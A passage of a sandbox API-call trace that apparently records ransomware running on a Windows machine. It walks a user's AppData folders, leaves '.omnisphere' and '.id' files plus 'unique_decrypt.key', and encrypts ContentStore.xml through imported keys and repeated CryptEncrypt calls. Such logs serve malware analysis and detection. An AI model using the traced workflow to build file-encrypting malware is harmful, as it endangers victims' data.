cFileName="5c4d6ef6-b3c3-469c-83d7-eb4debf6bfd1.omnisphere.id", cAlternateFileName="5C4D6E~1.ID")) returned 1 [0117.168] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1862c0db, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1862c0db, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26d08457, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x6f8, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="67634331-9abb-48ea-9c31-082141ff901d.omnisphere", cAlternateFileName="676343~1.OMN")) returned 1 [0117.168] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26d08457, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x26d08457, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26d08457, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="67634331-9abb-48ea-9c31-082141ff901d.omnisphere.id", cAlternateFileName="676343~1.ID")) returned 1 [0117.168] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3a6118fa, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3a6118fa, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x26d4d308, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x6f8, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="7a70842e-d6a2-46c1-966c-384a4ef9d347.omnisphere", cAlternateFileName="7A7084~1.OMN")) returned 1 [0117.168] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26d26d9c, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x26d26d9c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26d4d308, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="7a70842e-d6a2-46c1-966c-384a4ef9d347.omnisphere.id", cAlternateFileName="7A7084~1.ID")) returned 1 [0117.168] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x5c020c86, ftCreationTime.dwHighDateTime=0x1d4d5d3, ftLastAccessTime.dwLowDateTime=0x5c020c86, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0x26e5d528, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x6f8, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="b1334ab7-7773-4cde-b00c-b3b6e1e6ed9f.omnisphere", cAlternateFileName="B1334A~1.OMN")) returned 1 [0117.168] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26de8e3f, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x26de8e3f, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26e5d528, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="b1334ab7-7773-4cde-b00c-b3b6e1e6ed9f.omnisphere.id", cAlternateFileName="B1334A~1.ID")) returned 1 [0117.168] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1383bcc, ftCreationTime.dwHighDateTime=0x1d41dc4, ftLastAccessTime.dwLowDateTime=0x1383bcc, ftLastAccessTime.dwHighDateTime=0x1d41dc4, ftLastWriteTime.dwLowDateTime=0x26ea4537, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x6f8, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="ddbd6a25-732f-4175-9949-5cdf51e0bd09.omnisphere", cAlternateFileName="DDBD6A~1.OMN")) returned 1 [0117.169] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ea4537, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x26ea4537, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26ea4537, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="ddbd6a25-732f-4175-9949-5cdf51e0bd09.omnisphere.id", cAlternateFileName="DDBD6A~1.ID")) returned 1 [0117.169] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3a637b3f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3a637b3f, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x26ef41f5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x53c, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Preferred.omnisphere", cAlternateFileName="PREFER~1.OMN")) returned 1 [0117.169] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26eca646, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x26eca646, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26ef41f5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Preferred.omnisphere.id", cAlternateFileName="PREFER~1.ID")) returned 1 [0117.169] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26c680b4, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x26c680b4, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26ef41f5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0117.169] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26c680b4, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x26c680b4, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26ef41f5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0117.169] FindClose (in: hFindFile=0x1639868 | out: hFindFile=0x1639868) returned 1 [0117.169] GetProcessHeap () returned 0x1600000 [0117.169] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16302c0 | out: hHeap=0x1600000) returned 1 [0117.169] GetProcessHeap () returned 0x1600000 [0117.169] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16241b0 | out: hHeap=0x1600000) returned 1 [0117.169] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44622928, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44622928, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x26b36edf, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x570, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="SYNCHIST.omnisphere", cAlternateFileName="")) returned 1 [0117.169] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26b36edf, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x26b36edf, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26b36edf, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="SYNCHIST.omnisphere.id", cAlternateFileName="SYNCHI~1.ID")) returned 1 [0117.169] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26b10c72, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x26b10c72, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26b832b3, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0117.169] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26b10c72, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x26b10c72, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26b832b3, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0117.169] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0117.169] GetProcessHeap () returned 0x1600000 [0117.170] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f500 | out: hHeap=0x1600000) returned 1 [0117.170] GetProcessHeap () returned 0x1600000 [0117.170] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f480 | out: hHeap=0x1600000) returned 1 [0117.170] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x422eea37, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x422eea37, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x422eea37, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0117.170] GetProcessHeap () returned 0x1600000 [0117.170] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x76) returned 0x163fe80 [0117.170] PathCombineW (in: pszDest=0x163fe80, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", pszFile="Publisher" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher" [0117.170] GetProcessHeap () returned 0x1600000 [0117.170] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7a) returned 0x1668ac0 [0117.170] PathCombineW (in: pszDest=0x1668ac0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher\\*" [0117.170] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x422eea37, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x422eea37, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x422eea37, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0117.171] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x422eea37, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x422eea37, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x422eea37, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 1 [0117.171] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x422eea37, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x422eea37, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x422eea37, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 0 [0117.171] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0117.171] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x422eea37, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x422eea37, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x422eea37, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0117.171] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x422eea37, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x422eea37, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x422eea37, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0117.171] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x422eea37, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x422eea37, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x422eea37, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 0 [0117.172] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0117.172] GetProcessHeap () returned 0x1600000 [0117.172] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1668ac0 | out: hHeap=0x1600000) returned 1 [0117.172] GetProcessHeap () returned 0x1600000 [0117.172] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163fe80 | out: hHeap=0x1600000) returned 1 [0117.172] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43fd72ee, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0xde511f85, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0xde511f85, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher Building Blocks", cAlternateFileName="PUBLIS~2")) returned 1 [0117.172] GetProcessHeap () returned 0x1600000 [0117.172] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x96) returned 0x165e228 [0117.172] PathCombineW (in: pszDest=0x165e228, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", pszFile="Publisher Building Blocks" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks" [0117.172] GetProcessHeap () returned 0x1600000 [0117.172] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9a) returned 0x16568c8 [0117.172] PathCombineW (in: pszDest=0x16568c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\*" [0117.172] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43fd72ee, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0xde511f85, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0xde511f85, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0117.173] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43fd72ee, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0xde511f85, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0xde511f85, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 1 [0117.173] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43fd72ee, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x43fd72ee, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0xde511f85, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0xdb, cFileName="ContentStore.xml", cAlternateFileName="CONTEN~1.XML")) returned 1 [0117.173] GetProcessHeap () returned 0x1600000 [0117.173] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb8) returned 0x166b0b8 [0117.173] PathCombineW (in: pszDest=0x166b0b8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks", pszFile="ContentStore.xml" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml" [0117.173] StrStrW (lpFirst=".omnisphere", lpSrch=".xml") returned 0x0 [0117.173] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0117.174] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0dcc8 | out: lpFileSize=0x3e0dcc8*=168) returned 1 [0117.174] GetTickCount () returned 0x115d4b1 [0117.174] GetTickCount () returned 0x115d4b1 [0117.174] GetTickCount () returned 0x115d4b1 [0117.174] GetTickCount () returned 0x115d4b1 [0117.174] GetTickCount () returned 0x115d4b1 [0117.174] GetTickCount () returned 0x115d4b1 [0117.174] GetTickCount () returned 0x115d4b1 [0117.174] GetTickCount () returned 0x115d4b1 [0117.174] GetTickCount () returned 0x115d4b1 [0117.174] GetTickCount () returned 0x115d4b1 [0117.174] GetTickCount () returned 0x115d4b1 [0117.175] GetTickCount () returned 0x115d4b1 [0117.175] GetTickCount () returned 0x115d4b1 [0117.175] GetTickCount () returned 0x115d4b1 [0117.175] GetTickCount () returned 0x115d4b1 [0117.175] GetTickCount () returned 0x115d4b1 [0117.175] GetTickCount () returned 0x115d4b1 [0117.175] GetTickCount () returned 0x115d4b1 [0117.175] GetTickCount () returned 0x115d4b1 [0117.175] GetTickCount () returned 0x115d4b1 [0117.175] GetTickCount () returned 0x115d4b1 [0117.175] GetTickCount () returned 0x115d4b1 [0117.175] GetTickCount () returned 0x115d4b1 [0117.175] GetTickCount () returned 0x115d4b1 [0117.175] GetTickCount () returned 0x115d4b1 [0117.175] GetTickCount () returned 0x115d4b1 [0117.175] GetTickCount () returned 0x115d4b1 [0117.175] GetTickCount () returned 0x115d4b1 [0117.175] GetTickCount () returned 0x115d4b1 [0117.175] GetTickCount () returned 0x115d4b1 [0117.175] GetTickCount () returned 0x115d4b1 [0117.175] GetTickCount () returned 0x115d4b1 [0117.175] CryptAcquireContextW (in: phProv=0x3e0d750, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d750*=0x1669120) returned 1 [0117.176] CryptImportKey (in: hProv=0x1669120, pbData=0x3e0d6b8, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d75c | out: phKey=0x3e0d75c*=0x16396a8) returned 1 [0117.176] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0dc08*, pdwDataLen=0x3e0d74c*=0x75, dwBufLen=0x80 | out: pbData=0x3e0dc08*, pdwDataLen=0x3e0d74c*=0x80) returned 1 [0117.176] CryptDestroyKey (hKey=0x16396a8) returned 1 [0117.176] CryptReleaseContext (hProv=0x1669120, dwFlags=0x0) returned 1 [0117.176] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa8, lpName=0x0) returned 0x28c [0117.176] MapViewOfFile (hFileMappingObject=0x28c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa8) returned 0x1480000 [0117.177] CryptAcquireContextW (in: phProv=0x3e0d740, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d740*=0x1668708) returned 1 [0117.177] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0d6f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d750 | out: phKey=0x3e0d750*=0x16394e8) returned 1 [0117.177] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0d734*=0x2, dwFlags=0x0) returned 1 [0117.177] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d73c*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d73c*=0x10) returned 1 [0117.177] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.178] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.178] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.178] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.178] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.178] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.178] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.178] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.178] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.178] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.178] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.178] CryptDestroyKey (hKey=0x16394e8) returned 1 [0117.178] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0117.178] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xa8, lpNewFilePointer=0x0, 